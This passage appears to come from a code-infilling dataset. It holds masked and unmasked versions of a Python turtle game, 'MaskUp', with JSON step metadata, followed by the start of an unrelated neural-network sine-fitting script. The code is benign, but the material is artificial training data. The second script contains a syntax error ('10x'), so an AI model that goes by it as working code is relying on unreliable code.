bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <\|reserved_special_token_1\|> import turtle import random import winsound import sys <\|reserved_special_token_0\|> wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <\|reserved_special_token_1\|> import turtle import random import winsound import sys """ new_game = False def toggle_new_game(): global new_game if new_game == False: new_game = True else: new_game = False """ wn = turtle.Screen() wn.title("MaskUp") wn.bgcolor("green") wn.bgpic("retro_city_title_page.gif") wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape("human.gif") def game_loop(): score = 0 lives = 3 wn.register_shape("human.gif") wn.register_shape("Evil-Virus.gif") wn.register_shape("surgical-mask.gif") # Add the player player = turtle.Turtle() player.speed(0) player.shape("human.gif") player.color("white") player.penup() player.goto(0, -250) player.direction = "stop" # Create a list of good guys good_guys = [] # Add the good_guys for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape("surgical-mask.gif") good_guy.color("blue") good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) # Create a list of bad guys bad_guys = [] # Add the bad_guys for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape("Evil-Virus.gif") bad_guy.color("red") bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) # Make the pen pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape("square") pen.color("white") pen.penup() pen.goto(0, 260) font = ("Courier", 24, "normal") pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) # Make the message def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color("yellow") message.penup() message.goto(0, 0) font = ("Calibri", 24, "bold") message.write("GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!".format(score), align="center", font=font) # Functions def go_left(): player.direction = "left" def go_right(): player.direction = "right" def stop_player(): player.direction = "stop" # Keyboard Binding wn.listen() wn.onkeypress(go_left, "Left") wn.onkeyrelease(stop_player, "Left") wn.onkeypress(go_right, "Right") wn.onkeyrelease(stop_player, "Right") while True: # Update screen wn.update() # Move the player if player.direction == "left": x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == "right": x = player.xcor() if x < 365: x += 0.8 player.setx(x) # Move the good guys for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) # Check if off the screen if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) # Check for a collision with player if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) winsound.PlaySound("video_game_retro_8bit_coin", winsound.SND_FILENAME) # Move the bad guys for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) # Check if off the screen if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) # Check for a collision with player if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) winsound.PlaySound("arcade_game_alarm_short", winsound.SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound("game_over_sound", winsound.SND_FILENAME) # wn.listen() # if wn.onkeypress(toggle_new_game, "a"): # if new_game == True: break # wn.onkeypress(sys.exit(), "q") while True: # Update screen wn.update() # Play music wn.bgpic("retro_city.gif") winsound.PlaySound("retro_video_game_music-trimmed", winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title("MaskUp") wn.bgcolor("green") wn.bgpic("retro_city_title_page.gif") wn.setup(width=800, height=600) wn.tracer(0) #sys.exit() wn.mainloop()	flexible	{ "blob_id": "1593280a29b13461b13d8b2805d9ac53ce94c759", "index": 2948, "step-1": "<mask token>\n", "step-2": "<mask token>\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-3": "<mask token>\nwn = turtle.Screen()\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-4": "import turtle\nimport random\nimport winsound\nimport sys\n<mask token>\nwn = turtle.Screen()\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-5": "\r\nimport turtle\r\nimport random\r\nimport winsound\r\nimport sys\r\n\r\n\r\n\r\n\"\"\" new_game = False\r\n\r\ndef toggle_new_game():\r\n global new_game\r\n if new_game == False:\r\n new_game = True\r\n else:\r\n new_game = False \"\"\"\r\n\r\nwn = turtle.Screen()\r\nwn.title(\"MaskUp\")\r\nwn.bgcolor(\"green\")\r\nwn.bgpic(\"retro_city_title_page.gif\")\r\nwn.setup(width=800, height=600)\r\nwn.tracer(0)\r\nwn.register_shape(\"human.gif\")\r\n\r\n\r\ndef game_loop():\r\n score = 0\r\n lives = 3\r\n\r\n wn.register_shape(\"human.gif\")\r\n wn.register_shape(\"Evil-Virus.gif\")\r\n wn.register_shape(\"surgical-mask.gif\")\r\n\r\n # Add the player\r\n player = turtle.Turtle()\r\n player.speed(0)\r\n player.shape(\"human.gif\")\r\n player.color(\"white\")\r\n player.penup()\r\n player.goto(0, -250)\r\n player.direction = \"stop\"\r\n\r\n\r\n # Create a list of good guys\r\n good_guys = []\r\n\r\n # Add the good_guys\r\n for _ in range(3):\r\n good_guy = turtle.Turtle()\r\n good_guy.speed(0)\r\n good_guy.shape(\"surgical-mask.gif\")\r\n good_guy.color(\"blue\")\r\n good_guy.penup()\r\n good_guy.goto(-100, 250)\r\n good_guy.speed = random.uniform(0.3, 2.0)\r\n good_guys.append(good_guy)\r\n\r\n # Create a list of bad guys\r\n bad_guys = []\r\n\r\n # Add the bad_guys\r\n for _ in range(5):\r\n bad_guy = turtle.Turtle()\r\n bad_guy.speed(0)\r\n bad_guy.shape(\"Evil-Virus.gif\")\r\n bad_guy.color(\"red\")\r\n bad_guy.penup()\r\n bad_guy.goto(100, 250)\r\n bad_guy.speed = random.uniform(0.3, 1.0)\r\n bad_guys.append(bad_guy)\r\n\r\n \r\n # Make the pen\r\n pen = turtle.Turtle()\r\n pen.hideturtle()\r\n pen.speed(0)\r\n pen.shape(\"square\")\r\n pen.color(\"white\")\r\n pen.penup()\r\n pen.goto(0, 260)\r\n font = (\"Courier\", 24, \"normal\")\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n\r\n # Make the message\r\n def show_message(score):\r\n message = turtle.Turtle()\r\n message.hideturtle()\r\n message.speed(0)\r\n message.color(\"yellow\")\r\n message.penup()\r\n message.goto(0, 0)\r\n font = (\"Calibri\", 24, \"bold\")\r\n message.write(\"GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!\".format(score), align=\"center\", font=font) \r\n\r\n # Functions\r\n def go_left():\r\n player.direction = \"left\"\r\n\r\n def go_right():\r\n player.direction = \"right\"\r\n\r\n def stop_player():\r\n player.direction = \"stop\"\r\n\r\n # Keyboard Binding\r\n wn.listen()\r\n wn.onkeypress(go_left, \"Left\")\r\n wn.onkeyrelease(stop_player, \"Left\")\r\n wn.onkeypress(go_right, \"Right\")\r\n wn.onkeyrelease(stop_player, \"Right\")\r\n\r\n\r\n \r\n while True:\r\n # Update screen\r\n wn.update()\r\n\r\n # Move the player\r\n if player.direction == \"left\":\r\n x = player.xcor()\r\n if x > -365:\r\n x -= 0.8\r\n player.setx(x)\r\n \r\n if player.direction == \"right\":\r\n x = player.xcor()\r\n if x < 365:\r\n x += 0.8\r\n player.setx(x)\r\n\r\n # Move the good guys\r\n for good_guy in good_guys:\r\n y = good_guy.ycor()\r\n y -= good_guy.speed\r\n good_guy.sety(y)\r\n\r\n # Check if off the screen\r\n if y < -300:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n good_guy.goto(x, y)\r\n\r\n # Check for a collision with player\r\n if good_guy.distance(player) < 40:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n good_guy.goto(x, y)\r\n score += 10\r\n pen.clear()\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n winsound.PlaySound(\"video_game_retro_8bit_coin\", winsound.SND_FILENAME)\r\n \r\n # Move the bad guys\r\n for bad_guy in bad_guys:\r\n y = bad_guy.ycor()\r\n y -= bad_guy.speed\r\n bad_guy.sety(y)\r\n\r\n # Check if off the screen\r\n if y < -300:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n bad_guy.goto(x, y)\r\n\r\n # Check for a collision with player\r\n if bad_guy.distance(player) < 40:\r\n x = random.randint(-380, 380)\r\n y = random.randint(300, 400)\r\n bad_guy.goto(x, y)\r\n score -= 10\r\n lives -= 1\r\n pen.clear()\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n winsound.PlaySound(\"arcade_game_alarm_short\", winsound.SND_FILENAME)\r\n\r\n if lives <= 0:\r\n pen.clear()\r\n bad_guy.clear()\r\n good_guy.clear()\r\n show_message(score)\r\n winsound.PlaySound(\"game_over_sound\", winsound.SND_FILENAME)\r\n # wn.listen()\r\n # if wn.onkeypress(toggle_new_game, \"a\"):\r\n # if new_game == True:\r\n break\r\n # wn.onkeypress(sys.exit(), \"q\")\r\n\r\nwhile True:\r\n # Update screen\r\n wn.update()\r\n\r\n # Play music\r\n wn.bgpic(\"retro_city.gif\")\r\n winsound.PlaySound(\"retro_video_game_music-trimmed\", winsound.SND_LOOP)\r\n game_loop()\r\n turtle.Screen().clear()\r\n \r\n wn = turtle.Screen()\r\n wn.title(\"MaskUp\")\r\n wn.bgcolor(\"green\")\r\n wn.bgpic(\"retro_city_title_page.gif\")\r\n wn.setup(width=800, height=600)\r\n wn.tracer(0)\r\n\r\n #sys.exit()\r\n \r\n \r\n \r\n \r\n\r\n\r\nwn.mainloop()", "step-ids": [ 0, 2, 3, 4, 5 ] }	[ 0, 2, 3, 4, 5 ]
import numpy as np import pickle as p from mpl_toolkits.mplot3d import axes3d import matplotlib.pyplot as plt from numpy.random import randn from neural_network import network net = network([1,8,8,1], filename='./data/x', bias=True) # net.load_random() net.load() n = 32 x = np.array([[x] for x in np.linspace(0,1,n)]) y = (1+np.sin(10x))/2 X = [xx[0] for xx in x] Y = [yy[0] for yy in y] plt.plot(x,y) c = 1 ii = 0 for ii in range(1001): # c = net.gradient_training(x,y,dw=0.1) c = net.retarded_training(x,y) print(ii,c) net.save() # if ii%10==0 and ii!=0: # net.shake(x,y,n=10) # net.save() # # ii+=1 N = 128 plt.plot(X,Y, 'ro') X = np.linspace(0,1,N) Y = [] for x in X: Y += [net.forward([x])[0]] plt.plot(X,np.array(Y)) plt.show() # for i in range(len(self.z)): # if i==0: # yHat = self.forward(x) # delta = np.multiply(yHat - y, sigmoidPrime(self.z[-1])) # dJdW = np.dot(self.a[-2].T, delta) # else: # delta = np.dot(delta, self.W[-i].T)sigmoidPrime(self.z[-1-i]) # dJdW = np.dot(self.a[-2-i].T, delta) # dJ += [dJdW] # dJ = dJ[::-1]	normal	{ "blob_id": "cf07344808f2d91d8949cfc4beb9f923926e6851", "index": 6208, "step-1": "<mask token>\n", "step-2": "<mask token>\nnet.load()\n<mask token>\nplt.plot(x, y)\n<mask token>\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\n<mask token>\nplt.plot(X, Y, 'ro')\n<mask token>\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-3": "<mask token>\nnet = network([1, 8, 8, 1], filename='./data/x', bias=True)\nnet.load()\nn = 32\nx = np.array([[x] for x in np.linspace(0, 1, n)])\ny = (1 + np.sin(10 * x)) / 2\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\nplt.plot(x, y)\nc = 1\nii = 0\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\nN = 128\nplt.plot(X, Y, 'ro')\nX = np.linspace(0, 1, N)\nY = []\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-4": "import numpy as np\nimport pickle as p\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nfrom numpy.random import randn\nfrom neural_network import network\nnet = network([1, 8, 8, 1], filename='./data/x', bias=True)\nnet.load()\nn = 32\nx = np.array([[x] for x in np.linspace(0, 1, n)])\ny = (1 + np.sin(10 * x)) / 2\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\nplt.plot(x, y)\nc = 1\nii = 0\nfor ii in range(1001):\n c = net.retarded_training(x, y)\n print(ii, c)\n net.save()\nN = 128\nplt.plot(X, Y, 'ro')\nX = np.linspace(0, 1, N)\nY = []\nfor x in X:\n Y += [net.forward([x])[0]]\nplt.plot(X, np.array(Y))\nplt.show()\n", "step-5": "import numpy as np\nimport pickle as p\nfrom 